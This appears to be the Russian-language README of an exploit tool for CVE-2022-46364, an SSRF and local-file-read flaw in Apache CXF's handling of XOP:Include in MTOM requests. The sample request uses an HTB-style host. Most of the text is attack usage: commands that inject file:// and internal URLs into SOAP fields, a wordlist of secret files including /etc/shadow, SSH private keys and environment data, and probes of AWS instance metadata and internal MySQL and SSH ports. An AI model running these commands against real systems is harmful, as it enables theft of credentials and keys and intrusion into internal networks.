
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
Автор: 0xmid00
Уязвимость: SSRF / Чтение локальных файлов через XOP:Include в MTOM-запросах
Затрагивает: Apache CXF < 3.5.5 и < 3.4.10
Apache CXF обрабатывает MTOM (Message Transmission Optimization Mechanism) сообщения, содержащие элементы XOP:Include. Атрибут href элемента XOP:Include должен ссылаться на вложение в том же MTOM multipart-сообщении.
Однако в уязвимых версиях CXF будет следовать любому URI, указанному в href, включая:
file:///etc/passwd → чтение локальных файлов (LFI)http://127.0.0.1:PORT/ → зондирование внутренних сервисов (SSRF)Злоумышленнику достаточно отправить SOAP-запрос с хотя бы одним параметром любого типа, чтобы вызвать это.
pip install requests
python3 exploit.py -r request.txt [options]
Сохраните ваш сырой HTTP-запрос в файл .txt точно так, как он был перехвачен (например, из Burp):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
Эксплойт автоматически преобразует его в MTOM-формат — вам не нужно делать это вручную.
python3 exploit.py -r request.txt --mode 1
Пытается внедрить file:///etc/passwd в каждый конечный XML-элемент и сообщает, какие из них возвращают содержимое файла.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
Сначала запускает Режим 1 для поиска внедряемого поля, затем фаззит все пути из wordlist через это поле.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
Пропускает обнаружение поля и переходит сразу к фаззингу.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
Вы также можете использовать SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>Для зондирования внутренних HTTP-сервисов вместо чтения файлов:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
Или измените значение --read на любой внутренний URL:
--read http://169.254.169.254/latest/meta-data/ (метаданные AWS)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (баннер SSH)
Этот инструмент предназначен только для авторизованного тестирования на проникновение и CTF-задач. Автор не несет ответственности за любое неправомерное использование.
| Аргумент | Описание |
|---|
-r, --request | Путь к файлу сырого HTTP-запроса (обязательно) |
--mode 1 | Автоопределение внедряемых XML-полей с помощью /etc/passwd |
--mode 2 | Фаззинг через wordlist путей к файлам |
--field NAME | Указать XML-поле для внедрения (пропускает автоопределение) |
--wordlist PATH | Путь к wordlist файлов для Режима 2 |
--read PATH | Чтение одного конкретного файла |
-v, --verbose | Показать подробную информацию о запросе |